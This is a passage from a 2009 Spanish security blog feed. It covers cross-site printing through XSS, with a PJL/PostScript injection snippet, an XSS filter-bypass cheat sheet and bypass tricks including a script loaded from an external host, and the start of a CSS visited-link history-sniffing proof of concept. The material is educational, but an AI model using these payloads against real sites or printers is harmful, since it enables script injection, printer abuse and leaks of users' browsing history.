/&gt;También podemos controlar la tipología con la que escribimos. Por&lt;br /&gt;ejemplo, para seleccionar un determinado tipo de fuente no tenemos nada más que&lt;br /&gt;escribir /nombredelafuente findfont . Despues seleccionamos el tamaño con scalefont (x&lt;br /&gt;scalefont), setear la fuente para usarla con setfont y por último escribirla y mandarla&lt;br /&gt;con show. En resumen:&lt;br /&gt;&lt;br /&gt;/Times-Roman findfont&lt;br /&gt;50 scalefont&lt;br /&gt;Setfont&lt;br /&gt;100 300 moveto&lt;br /&gt;(Overload In The Net RoolZ!!) show&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Por ultimo, para realizar la impresión sólo tendremos que finalizar con&lt;br /&gt;showpage.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Son muchos los comandos y las posiblidades (desde trazar curvas, unir&lt;br /&gt;puntos con curvas, usar colores, mapas de bits, etc…) y no es el objetivo de este&lt;br /&gt;documento centrarse en esto. Simplemten pongo algunos casos sencillos para que&lt;br /&gt;entendais más o menos lo básico de este lenguaje. Existen programas que convierten&lt;br /&gt;webs enteras a PS, lo cual nos facilitaría enormemente el trabajo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para encapsular un código PS dentro de PCL para que sea ejecutado por la&lt;br /&gt;mayoría de las impresoras, simplemente tenemos que inicialmente indicar qué lenguaje&lt;br /&gt;vamos a usar usando para ello la siguiente directiva:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;%-12345X@PJL ENTER LANGUAGE = POSTSCRIPT&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Y para indicar hasta donde termina el código, usaremos %-12345X. Y&lt;br /&gt;como último detalle decir que al inicio del código PS tenemos que poner antes del primer&lt;br /&gt;comando %!PS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si todo esto lo unimos a JavaScript, tenemos la forma perfecta de&lt;br /&gt;controlar la impresión. Aquí os dejo un pequeño ejemplo que he encontrado al consultar&lt;br /&gt;un pequeño paper de Aaron Weaver&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;var msg=String.fromCharCode(27)&lt;br /&gt;+ "%-12345X@PJL ENTER LANGUAGE = POSTSCRIPT\r\n”&lt;br /&gt;+ "%!PS\r\n"&lt;br /&gt;+ "/Courier findfont\r\n"&lt;br /&gt;+ "20 scalefont\r\n"&lt;br /&gt;+ "setfont\r\n"&lt;br /&gt;+ "72 500 moveto\r\n"&lt;br /&gt;+ "(Your printer is mine!) show\r\n"&lt;br /&gt;+ "showpage\r\n"&lt;br /&gt;+ String.fromCharCode(27)&lt;br /&gt;+ "%-12345X”&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;./0x05 Conclusión&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para concluir simplemente decir que proteger las impresoras con passwords u&lt;br /&gt;otros sitemas es algo bastante importante, ya que pese que aquí hemos visto&lt;br /&gt;únicamente como imprimir en casa a ajena usando para ello una web vulnerable a XSS y&lt;br /&gt;un poquito de JavaScript, el impacto puede llegar a ser bastante mayor. Por ejemplo, se&lt;br /&gt;podría llegar a causar denegaciones de servicio en la impresora, y en toda la red.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A parte de esto, hay que tener mucho cuidado a la hora de las configuraciones,&lt;br /&gt;para evitar que personas ajenas a la red puedan ejecutar acciones sobre ella, tal y como&lt;br /&gt;hemos visto.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para contacto: Camaleon__81 -at- Hotmail -dot- com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-7171754811602456864?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/7171754811602456864/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=7171754811602456864' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7171754811602456864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7171754811602456864'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/02/xsp-cross-site-printing.html' title='XSP: Cross Site Printing'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-7500785082914717119</id><published>2009-02-20T03:22:00.004+01:00</published><updated>2009-02-20T03:51:38.121+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CheatSheet'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>XSS CheatSheet</title><content type='html'>Aqui os dejo esta pequeña "Chuleta" sobre XSS. Yo recomiendo guardarla en marcadores por si alguna vez os hace falta :P. La cosa es que quería postearla de tal forma que puedieramos buscar el tipo de filtro en ella... haber que tal os parece.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;-Bloqueo del Número máximo de caracteres&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Hacer Form Tampering o modificar el header&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;-Codigo se queda en un value=""&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Poner un "&gt; u otro elemento de clausura que nos deje salirnos &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;-Magic Quotes activadas (imposibilidad de poner comillas)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;Poner el código .js en un host externo y hacer &amp;lt;script src=tuhost&gt;&amp;lt;/script&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;-Te impide poner / para cerrar un tag&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-style: italic;"&gt;&amp;lt;img src=. onerror=alert(/XSSed/)&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-style: italic;"&gt;- &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Eliminación de caracteres especiales&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&amp;lt;script&gt;alert(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;code style="font-style: italic; color: rgb(51, 204, 0);"&gt;String.fromCharCode(88,83,83))&lt;span style="font-family:Georgia,serif;"&gt;;&amp;lt;/script&gt; Siendo los números el valor del caracter en ASCII&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;code style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-family:Georgia,serif;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;-Filtro Strip_Tags (puedes meter algunos tags, pero otros como &amp;lt;script&gt; los bloquea&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&amp;lt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-style: italic;"&gt;p style="backgroun&lt;span style="font-weight: bold;"&gt;d: url("JavaScript:alert(/xss/);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code style="font-style: italic; color: rgb(51, 204, 0);"&gt;&lt;span style="font-family:Georgia,serif;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;code style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-family:Georgia,serif;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;-Supresión de ciertas expresiones o palabras&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Salto de linea &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;span style="font-style: italic; color: rgb(51, 204, 0);"&gt;JavaScr&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 204, 0);"&gt;ipt:alert(1);&lt;br /&gt;&lt;br /&gt;Inclusión de otra palabra tabú en mitad de la que queramos&lt;/span&gt;&lt;span style="font-style: italic; color: rgb(51, 204, 0);"&gt;  &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(51, 204, 0);"&gt;java&amp;lt;script&gt;script:alert(1);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 204, 0);"&gt;Eliminación de funciones y expresiones dentro del código javascript&lt;br /&gt;javascript:alert(eval('Saltando'+' Bypass'));&lt;/span&gt;&lt;br /&gt;&lt;code style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-family:Georgia,serif;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-family:Georgia,serif;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-family:Georgia,serif;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-family:Georgia,serif;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-family:Georgia,serif;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code style="font-style: italic; color: rgb(51, 204, 0);"&gt;&lt;span style="font-family:Georgia,serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;===============================================&lt;br /&gt;&lt;br /&gt;Hasta aquí nuestra pequeña colección... realmente quisiera que me mandarais más al correo de contacto, las publicaré añadiendo el nombre del que me las haya mandado.&lt;br /&gt;&lt;br /&gt;PD: Aqui teneis muuuuuuuuuuuuuuuuuuchas más formas interesantes:&lt;br /&gt;&lt;a href="http://ha.ckers.org/xss.html"&gt;XSS CheatSheet&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-7500785082914717119?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/7500785082914717119/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=7500785082914717119' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7500785082914717119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7500785082914717119'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/02/xss-cheatsheet.html' title='XSS CheatSheet'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5874563511931909547</id><published>2009-02-18T05:40:00.003+01:00</published><updated>2009-02-18T06:25:50.519+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>XSS: Más formas de realizar un bypass</title><content type='html'>Saludos!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Son las 5:41 AM y mañana tengo clase de "Citología e Histología Animal y Vegetal", despues "Bioquímica", "Física", "Bioestadística" y por último prácticas de laboratorio de BQ... total que mi jornada empieza a las  9 de la mañana... así que imagenese el panorama: ahora no me puedo dormir porque no me despertaré. Por ello, voy a hacer algo productivo añadir un par de formas más sobre como saltar determinados filtros, y ya mañana cuando vuelva de clase (puesto que tengo huecos de varias horas) a mi habitáculo numerado como 302.... me pondré a juntar todos los métodos (es decir, extraer de aquel paper que hice ya time) y haré una especie de chuleta para tener en los marcadores por si nos hace falta ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Allá que vamos.&lt;br /&gt;&lt;br /&gt;__________________________________________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;·Filtros basados en la supresión de palabras o expresiones concretas:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;A este respecto, he encontrado dos formas curiosas de hacer el bypass. Una es aprovechando que la función de filtrado es Case Sensitive, es decir, que no distingue entre mayúsculas y minúsculas. En estos casos, si por ejemplo el filtro suprime la palabra "Javascript", nosotros podemos usar JaVaSCRiPT, y nuestro navegador lo dará por bueno :)&lt;br /&gt;&lt;br /&gt; Otra posible forma que se me ocurre es el de meter un \n en mitad de la palabra, es decir, hacer:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 204, 0);"&gt;JavaScr&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 204, 0);"&gt;ipt:alert(1);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;    &lt;/span&gt;&lt;/span&gt;Normalmente los navegadores suelen dar esto por válido y empalman la palabra automáticamente (siempre hay excepciones). Otro bypass u ofuscación de palabras puede ser  el meter otra palabra tabú en mitad de la que nosotros queremos. Siguiente el ejemplo de la prohibición de Javascript:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 204, 0);"&gt;java&amp;lt;script&gt;script:alert(1);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   De esta forma, el filtro eliminará &amp;lt;script&gt; y empalmará el texto "javascript".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;·&lt;span style="font-weight: bold;"&gt;Filtrado de expresiones, atributos y funciones&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;En algunas ocasiones el sistema sí permite el uso de código JS, pero meten un filtro para que suprima ciertas funciones que podrían volverse... "problemáticas". Para ello podemos usar eval(), metemos en ella la palabra por partes y despues concatenamos:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 204, 0);"&gt;javascript:alert(eval('Saltando'+' Bypass'));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;·Adhesión de caracteres al final de la cadena&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;Este curioso tipo de filtro me lo encontré en una web donde al hacer búsquedas, creaba un link a una foto del tipo &amp;lt;a href="http://example.org/index.php?z=LoqueBuscasSearched"&gt;. Me filtraba los &amp;lt;&gt;, así que la idea de siempre de hacer "&gt; no podía ser. El caso es que simplemente puse " para cerrar el href y despues puse un evento onmouseover con el JS y para poder evadirme el Searched"&gt;, simplemente me inveté un atributo. Entonces introduje esto:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;foo"  onmouseover=alert(1); bio="&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;  Y el resultado fue:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&amp;lt;a href="http://example.org/index.php?z=foo" onmouseover="alert(1);" bio="Searched"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bueno, son las 6:20AM ahora mismo (me fui a comer algo tenía hambre XD) y no se me ocurre ningún otro bypass, cuando me acuerde lo añadiré sobre la CheatSheet.&lt;br /&gt;&lt;br /&gt;Byt3z a todos&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5874563511931909547?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5874563511931909547/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5874563511931909547' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5874563511931909547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5874563511931909547'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/02/xss-mas-formas-de-realizar-un-bypass.html' title='XSS: Más formas de realizar un bypass'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5017749318626425842</id><published>2009-02-17T20:16:00.005+01:00</published><updated>2009-02-17T20:40:38.393+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS Attacks'/><title type='text'>CSS Attacks I : CSS History Hack</title><content type='html'>&lt;style&gt;code{ color:lime; }&lt;/style&gt;Saludos!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Este es la primera publicación que voy a hacer sobre el tema,  y va ser más bien una pequeña introducción al tema con un ejemplo bien sencillo sacado del scanner en CSS que me linkeó S e t h hace un par de días.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Bien,  a qué nos referimos cuando hablamos de CSS attacks... nos referimos a aquellos ataques que, o bien se basan en CSS (Cascade Style Sheet) o bien lo usan como vector. Un ejemplo, que en cierto modo usa de CSS para llevarse a cabo, es el cickjacking, tema sobre el cual hablaremos en otras entregas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  El peligro de los ataques CSS reside en que en principio no hay forma de protección, ya que si tú visitas una web maliciosa, normalmente si se intenta realizar algún tipo de ataque, éste se intenta en un 99% a través de malware en Javascript. Por el contrario, si un usuario bloqueaba la ejecución de código JS, estaba "blindado" contra ataques de este tipo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Es a finales de verano/principio de otoño cuando Lix me estuvo acribillando a links sobre esto de usar CSS para ataques (él en concreto me estuvo hablando de aquello del clickjacking), y sí, fue una especie de "revolución bloggera", era raro el blog que no había publicado algo sobre el tema. Y es que, ciertamente, cuando una vulnerabilidad se le da mucha fama es lo que pasa. Cuando hoy en día encontramos vulnerabilidades de gran importancia... si no se las promociona quedan en un grupo reducido de bugtraqs y advisorys de las webs, como no, de habla inglesa.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Bueno, retornando a lo que es el tema en sí, yo he querido ejemplificar (más que nada para abrir boca y que los lectores esperen con mayor ansia los siguiente capitulos sobre el tema) algo de ataques en CSS con un logger de sitios visitados (incido, la idea no es mía, la ví en un lnk que me ruló S e t h, pero el PoC sí es mío). &lt;br /&gt;&lt;br /&gt;  Como todos sabemos, los enlaces de las webs se pueden "embellecer" aplicandole atributos CSS como pueden ser hover (para que cambie el diseño al depositar el cursor sobre el link), visited, etc... Y también sabemos, que existen ciertos elementos en los cuales podemos hacer referencias a elementos externos. Hacia estos elementos externos salen peticiones GET desde nosotros para recopilar su contenido. Bien, ¿y que pasa con esto?. Pues que si se hacen peticiones de tipo GET hacia elemtnos del exterior... podemos incluir el seteo de variables GET y de esta forma logear cierta información, hacer que el usuario realice algún tipo de acción, etc...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Si nosotros declaramos en a:visited que mande una petición a otro archivo nuestro, y ponemos un listado de webs, podremos loggear en qué webs ha entrado. Aquí os dejo la prueba de concepto:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;head&gt;&amp;lt;title&gt;Proof of Concept -&gt; CSS History Hack&amp;lt;/title&gt;&amp;lt;/head&gt;&lt;br /&gt;&amp;lt;body&gt;&lt;br /&gt;&amp;lt;style&gt;&lt;br /&gt;a.link1:visited{&lt;br /&gt;background: url(poc.php?visited=1);&lt;br /&gt;}&lt;br /&gt;a.link2:visited{&lt;br /&gt;background: url(poc.php?visited=2);&lt;br /&gt;}&lt;br /&gt;a.link3:visited{&lt;br /&gt;background: url(poc.php?visited=3);&lt;br /&gt;}&lt;br /&gt;&amp;lt;/style&gt;&lt;br 